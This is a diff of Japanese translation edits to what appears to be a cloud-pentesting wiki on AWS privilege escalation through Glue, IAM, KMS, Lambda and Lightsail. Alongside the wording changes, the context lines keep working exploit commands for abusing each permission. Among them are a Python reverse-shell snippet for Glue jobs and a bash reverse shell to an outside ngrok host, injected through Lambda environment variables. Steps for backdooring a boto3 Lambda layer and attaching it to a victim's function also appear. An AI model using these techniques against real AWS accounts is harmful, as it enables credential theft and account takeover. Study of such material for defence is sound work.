@@ -6,9 +6,9 @@
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-これらの権限を持つユーザーは、**新しいAWS Glue開発エンドポイントを設定**し、**特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てる**ことができます。
+これらの権限を持つユーザーは、**新しいAWS Glue開発エンドポイントを設定し**、**特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てることができます**。
 
-セットアップ後、**攻撃者はエンドポイントのインスタンスにSSHで接続し**、割り当てられたロールのIAM資格情報を盗むことができます：
+セットアップ後、**攻撃者はエンドポイントのインスタンスにSSHで接続し**、割り当てられたロールのIAM資格情報を盗むことができます:
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
@@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することをお勧めします。
+ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することが推奨されます。
 
-**潜在的な影響：** 指定されたGlueサービスロールへの権限昇格。
+**潜在的な影響:** 指定されたGlueサービスロールへの権限昇格。
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-この権限を持つユーザーは、**既存のGlue開発**エンドポイントのSSHキーを**変更でき、SSHアクセスを有効にします**。これにより、攻撃者はエンドポイントに付随するロールの権限でコマンドを実行できます：
+この権限を持つユーザーは、**既存のGlue開発**エンドポイントのSSHキーを**変更でき、SSHアクセスを有効にします**。これにより、攻撃者はエンドポイントに接続されたロールの権限でコマンドを実行できます。
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-**`iam:PassRole`** と **`glue:CreateJob` または `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` または `glue:CreateTrigger`** のいずれかを組み合わせたユーザーは、**AWS Glue ジョブを作成または更新**し、任意の **Glue サービスアカウント**を添付し、ジョブの実行を開始できます。ジョブの機能には、任意の Python コードを実行することが含まれ、これを利用してリバースシェルを確立することができます。このリバースシェルは、その後、Glue ジョブに添付されたロールの **IAM 認証情報**を抽出するために利用され、ロールの権限に基づく潜在的な不正アクセスや行動につながる可能性があります。
+**`iam:PassRole`** と **`glue:CreateJob` または `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` または `glue:CreateTrigger`** のいずれかを組み合わせたユーザーは、**AWS Glue ジョブを作成または更新**し、任意の **Glue サービスアカウント**を添付し、ジョブの実行を開始できます。このジョブの機能には、任意の Python コードを実行することが含まれており、これを利用してリバースシェルを確立することができます。このリバースシェルは、そのジョブに添付されたロールの **IAM 認証情報**を抽出するために利用され、結果としてそのロールの権限に基づく不正アクセスや行動につながる可能性があります。
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -75,9 +75,9 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 
 ### `glue:UpdateJob`
 
-更新権限だけで、攻撃者は既に接続されているロールのIAM資格情報を盗むことができる。
+更新権限だけで、攻撃者は既にアタッチされたロールのIAM資格情報を盗むことができる。
 
-**潜在的な影響:** 接続されているglueサービスロールへの権限昇格。
+**潜在的な影響:** アタッチされたglueサービスロールへの権限昇格。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md

@@ -4,7 +4,7 @@
 
 ## IAM
 
-IAMに関する詳細情報は以下を確認してください：
+IAMに関する詳細情報は次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@ IAMに関する詳細情報は以下を確認してください：
 
 ### **`iam:CreatePolicyVersion`**
 
-新しいIAMポリシーバージョンを作成する能力を付与し、`--set-as-default`フラグを使用して`iam:SetDefaultPolicyVersion`権限の必要性を回避します。これにより、カスタム権限を定義できます。
+新しいIAMポリシーバージョンを作成する能力を付与し、`--set-as-default`フラグを使用することで`iam:SetDefaultPolicyVersion`権限の必要性を回避します。これにより、カスタム権限を定義できます。
 
 **Exploit Command:**
 ```bash
@@ -29,11 +29,11 @@ IAMポリシーのデフォルトバージョンを別の既存のバージョ
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**影響:** より多くの権限を有効にすることによる間接的な権限昇格。
+**影響:** より多くの権限を有効にすることによる間接的な特権昇格。
 
 ### **`iam:CreateAccessKey`**
 
-他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、権限昇格の可能性を引き起こします。
+他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、特権昇格の可能性を引き起こします。
 
 **悪用:**
 ```bash
@@ -50,7 +50,7 @@ AWSコンソールログインのためのパスワード設定を含むログ
 aws iam create-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**更新のためのエクスプロイト:**
+**アップデートのためのエクスプロイト:**
 ```bash
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
@@ -71,7 +71,7 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
 
 特定のAWSサービス（例：CodeCommit、Amazon Keyspaces）のための資格情報を生成またはリセットすることを可能にし、関連するユーザーの権限を継承します。
 
-**作成のための悪用:**
+**作成のためのエクスプロイト:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
@@ -79,17 +79,17 @@ aws iam create-service-specific-credential --user-name <username> --service-name
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**影響:** ユーザーのサービス権限内での直接的な権限昇格。
+**影響:** ユーザーのサービス権限内での直接的な特権昇格。
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
-ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって権限を直接昇格させます。
+ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって特権を直接昇格させます。
 
 **ユーザーのためのエクスプロイト:**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-**グループのためのエクスプロイト:**
+**グループのエクスプロイト:**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
@@ -99,7 +99,7 @@ aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>
 
 ロール、ユーザー、またはグループにポリシーを添付または設定することを許可し、追加の権限を付与することによって直接的な権限昇格を可能にします。
 
-**ロールのための悪用:**
+**ロールのためのエクスプロイト:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-あなたは次のようなポリシーを使用できます:
+ポリシーを次のように使用できます:
 ```json
 {
 "Version": "2012-10-17",
@@ -131,7 +131,7 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 
 ### **`iam:AddUserToGroup`**
 
-自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させる。
+自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。
 
 **悪用:**
 ```bash
@@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
-ロールのアサムロールポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。
+ロールのアサムポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。
 
 **悪用:**
 ```bash
@@ -163,11 +163,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
 ]
 }
 ```
-**影響:** 任意のロールの権限を引き受けることによる直接的な権限昇格。
+**影響:** 任意のロールの権限を引き受けることによる直接的な特権昇格。
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的権限昇格につながる。
+CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的特権昇格につながる。
 
 **SSHキーアップロードのためのエクスプロイト:**
 ```bash
@@ -177,13 +177,13 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**影響:** CodeCommitアクセスを有効にするか、MFA保護を無効にすることによる間接的な特権昇格。
+**影響:** CodeCommit アクセスを有効にするか、MFA 保護を無効にすることによる間接的な特権昇格。
 
 ### **`iam:ResyncMFADevice`**
 
-MFAデバイスの再同期を許可し、MFA保護を操作することによって間接的な特権昇格を引き起こす可能性があります。
+MFA デバイスの再同期を許可し、MFA 保護を操作することによって間接的な特権昇格につながる可能性があります。
 
-**Bashコマンド:**
+**Bash コマンド:**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-これらの権限を持つことで、**SAML接続のXMLメタデータを変更**することができます。次に、**SAMLフェデレーション**を悪用して、**信頼している任意のロールでログイン**することができます。
+これらの権限を持つことで、**SAML接続のXMLメタデータを変更**することができます。その後、**SAMLフェデレーション**を悪用して、**信頼している**任意の**ロール**で**ログイン**することができます。
 
-これを行うと、**正当なユーザーはログインできなくなる**ことに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を構成することができます。
+これを行うと、**正当なユーザーはログインできなくなる**ことに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を戻すことができます。
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-（不明）攻撃者がこれらの**権限**を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しい**サムプリント**を追加できる。
+（これについては不明）攻撃者がこれらの**権限**を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しい**サムプリント**を追加することができる。
 ```bash
 # List providers
 aws iam list-open-id-connect-providers

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md

@@ -4,7 +4,7 @@
 
 ## KMS
 
-KMSに関する詳細情報は以下を確認してください：
+KMSに関する詳細情報は、以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-kms-enum.md
@@ -12,7 +12,7 @@ KMSに関する詳細情報は以下を確認してください：
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-これらの権限を持つことで、**キーへのアクセス権限を変更**し、他のアカウントや誰でも使用できるようにすることが可能です：
+これらの権限を持つことで、**キーへのアクセス権限を変更**し、他のアカウントや誰でも使用できるようにすることが可能です:
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id> # Although only 1 max per key
@@ -49,7 +49,7 @@ policy.json:
 ```
 ### `kms:CreateGrant`
 
-それは**プリンシパルがKMSキーを使用することを許可します:**
+これは**プリンシパルがKMSキーを使用することを許可します：**
 ```bash
 aws kms create-grant \
 --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -60,7 +60,7 @@ aws kms create-grant \
 > グラントは特定のタイプの操作のみを許可できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> グラントが生成された後、KMSが**ユーザーにキーの使用を許可するまでに数分かかる場合がある**ことに注意してください。その時間が経過すると、プリンシパルは何も指定せずにKMSキーを使用できます。\
+> グラントが生成された後、KMSが**ユーザーにキーの使用を許可するまでに数分かかる場合があります**。その時間が経過すると、プリンシパルは何も指定せずにKMSキーを使用できます。\
 > ただし、すぐにグラントを使用する必要がある場合は[グラントトークンを使用してください](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)（以下のコードを確認してください）。\
 > [**詳細についてはこれをお読みください**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
@@ -70,7 +70,7 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-注意：キーのグラントをリストすることが可能です：
+キーの付与をリストすることが可能であることに注意してください:
 ```bash
 aws kms list-grants --key-id <value>
 ```
@@ -78,7 +78,7 @@ aws kms list-grants --key-id <value>
 
 これらの権限を持つことで、異なるポリシーを持つ異なるリージョンにマルチリージョン対応のKMSキーを複製することが可能です。
 
-したがって、攻撃者はこれを悪用して、キーへのアクセスを取得し、それを使用することができます。
+したがって、攻撃者はこれを悪用して、キーへのアクセスを取得し、使用することができます。
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
@@ -101,7 +101,7 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re
 ### `kms:Decrypt`
 
 この権限は、キーを使用して情報を復号化することを許可します。\
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-post-exploitation/aws-kms-post-exploitation.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md

@@ -14,7 +14,7 @@ lambdaに関する詳細情報は以下を参照してください：
 
 **`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\
 彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます（例えばrev shellを使用して）**。\
-関数が設定されると、ユーザーは**AWS APIを通じてLambda関数を呼び出すことで、その実行をトリガーし、意図したアクションを実行することができます**。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することが可能になります。\\
+関数が設定されると、ユーザーは**その実行をトリガーし**、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\\
 
 攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます：
 ```python:rev.py
@@ -75,11 +75,11 @@ cat output.txt
 **潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
 
 > [!CAUTION]
-> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** **は**単独では**`aws lambda invoke-async`**を**実行することを許可しません**。`lambda:InvokeFunction`も必要です。
+> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async`** を実行することを許可しません。`lambda:InvokeFunction` も必要です。
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
 
-前のシナリオと同様に、**`lambda:AddPermission`**の権限があれば、**自分に`lambda:InvokeFunction`**の権限を**付与することができます**。
+前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction`** の権限を付与することができます。
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
@@ -92,14 +92,14 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
 **`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー（おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む）は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\
 彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。
 
-ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガーされ**、渡されたIAMロールの権限でコードが実行されます。
+ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガー** され、渡されたIAMロールの権限でコードが実行されます。
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**：
+DynamoDBがAWS環境で既にアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。ただし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**：
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
+現在、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-DynamoDBストリームにリンクされたLambda関数を使用して、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは、**DynamoDBテーブルにアイテムを挿入することによって実現できます**：
+DynamoDBストリームにリンクされたLambda関数を使用すると、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは**DynamoDBテーブルにアイテムを挿入することによって**実現できます：
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
@@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \
 
 ### `lambda:AddPermission`
 
-この権限を持つ攻撃者は**自分自身（または他の人）に任意の権限を付与することができる**（これはリソースベースのポリシーを生成してリソースへのアクセスを付与します）：
+この権限を持つ攻撃者は**自分自身（または他の人）に任意の権限を付与することができます**（これはリソースベースのポリシーを生成してリソースへのアクセスを付与します）：
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 ### `lambda:UpdateFunctionCode`
 
 **`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\
-攻撃者は**IAM資格情報を外部に流出させるためにLambdaのコードを変更することができます。**
+攻撃者は**IAM資格情報を外部に流出させるためにlambdaのコードを変更することができます。**
 
 攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。
 ```bash
@@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt
 
 #### 環境変数を介したRCE
 
-この権限を持つことで、Lambdaが任意のコードを実行する原因となる環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます：
+この権限を持つことで、Lambdaが任意のコードを実行する環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます：
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
@@ -175,7 +175,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
 
 #### Lambdaレイヤーを介したRCE
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。
 
 ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。
 ```python
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-これらは場所です：
+これらの場所です：
 
 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -202,35 +202,35 @@ print(json.dumps(sys.path, indent=2))
 
 #### 悪用
 
-`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。
+`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**自分のコードを追加**することができるかもしれません。
 
 例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します：
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します（例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など）。
+`./lambda_layer/boto3/__init__.py`を開き、**グローバルコードにバックドアを追加**できます（例えば、資格情報を抽出する関数やリバースシェルを取得する関数など）。
 
-次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウント（または被害者のアカウント）に**アップロード**しますが、これには権限がないかもしれません。\
-また、/opt/python/boto3 を上書きするために、python フォルダを作成し、ライブラリをそこに置く必要があります。また、レイヤーはラムダで使用される**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
+次に、その`./lambda_layer`ディレクトリをzip圧縮し、**新しいlambdaレイヤーを**自分のアカウントにアップロードします（または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません）。\
+また、/opt/python/boto3を上書きするために、pythonフォルダを作成し、ライブラリをそこに置く必要があります。さらに、レイヤーはlambdaで使用される**pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-今、アップロードしたラムダレイヤーを**任意のアカウントからアクセス可能にします**:
+アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能にする**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-そして、被害者のlambda関数にlambdaレイヤーを添付します：
+被害者のlambda関数にlambdaレイヤーを添付します:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。これはより安全な方法です。
+次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。後者がより安全な方法です。
 
-**この脆弱性を利用するためのよりステルスな方法**は以下にあります：
+**この脆弱性を利用するよりステルスな方法**は以下にあります：
 
 {{#ref}}
 ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +240,11 @@ aws lambda update-function-configuration \
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
-これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法を見つけられなかったので、もし見つけたら教えてください！
+これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法が見つからなかったので、もし見つけたら教えてください！
 
 ### Lambda MitM
 
-いくつかのラムダは、**ユーザーからのパラメータで機密情報を受け取ることになります。** そのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください：
+いくつかのlambdaは、**ユーザーからのパラメータで機密情報を受け取る**ことになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください：
 
 {{#ref}}
 ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md

@@ -4,18 +4,18 @@
 
 ## Lightsail
 
-Lightsailに関する詳細情報は、以下を確認してください：
+Lightsailに関する詳細情報は、以下を確認してください:
 
 {{#ref}}
 ../aws-services/aws-lightsail-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Lightsailは**ユーザーに属するIAMロールを使用しない**ことに注意することが重要です。代わりにAWS管理アカウントを使用するため、このサービスを利用して権限昇格を行うことはできません。しかし、**機密データ**（コード、APIキー、データベース情報など）がこのサービス内に存在する可能性があります。
+> Lightsailは**ユーザーに属するIAMロールを使用しない**が、AWS管理アカウントに属するため、このサービスを利用して権限昇格を行うことはできません。しかし、**機密データ**（コード、APIキー、データベース情報など）がこのサービス内に存在する可能性があります。
 
 ### `lightsail:DownloadDefaultKeyPair`
 
-この権限を使用すると、インスタンスにアクセスするためのSSHキーを取得できます：
+この権限により、インスタンスにアクセスするためのSSHキーを取得できます:
 ```
 aws lightsail download-default-key-pair
 ```
@@ -39,7 +39,7 @@ aws lightsail create-bucket-access-key --bucket-name <name>
 
 ### `lightsail:GetRelationalDatabaseMasterUserPassword`
 
-この権限を使用すると、データベースにアクセスするための資格情報を取得できます。
+この権限により、データベースにアクセスするための資格情報を取得できます:
 ```bash
 aws lightsail get-relational-database-master-user-password --relational-database-name <name>
 ```
@@ -47,11 +47,11 @@ aws lightsail get-relational-database-master-user-password --relational-database
 
 ### `lightsail:UpdateRelationalDatabase`
 
-この権限により、データベースにアクセスするためのパスワードを変更できます。
+この権限を使用すると、データベースにアクセスするためのパスワードを変更できます。
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
 ```
-もしデータベースが公開されていない場合、次の権限を使用して公開することもできます。
+データベースが公開されていない場合、これらの権限を使用して公開することもできます。
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
 ```
@@ -75,22 +75,22 @@ aws lightsail put-instance-public-ports \
 --instance-name MEAN-2 \
 --port-infos fromPort=22,protocol=TCP,toPort=22
 ```
-**潜在的な影響:** 機密ポートへのアクセス。
+**潜在的な影響:** 機密ポートにアクセスする。
 
 ### `lightsail:SetResourceAccessForBucket`
 
-この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを付与することを可能にします。
+この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを許可します。
 ```bash
 aws set-resource-access-for-bucket \
 --resource-name <instance-name> \
 --bucket-name <bucket-name> \
 --access allow
 ```
-**潜在的な影響:** 機密情報を含むバケットへの新しいアクセスの可能性。
+**潜在的な影響:** 機密情報を含むバケットへの新たなアクセスの可能性。
 
 ### `lightsail:UpdateBucket`
 
-この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます。
+この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます:
 ```bash
 # Grant read access to exterenal account
 aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
@@ -111,11 +111,11 @@ aws update-container-service \
 --service-name <name> \
 --private-registry-access ecrImagePullerRole={isActive=boolean}
 ```
-**潜在的な影響:** プライベートECRからの機密情報の取得
+**潜在的な影響:** プライベートECRから機密情報を取得する
 
 ### `lightsail:CreateDomainEntry`
 
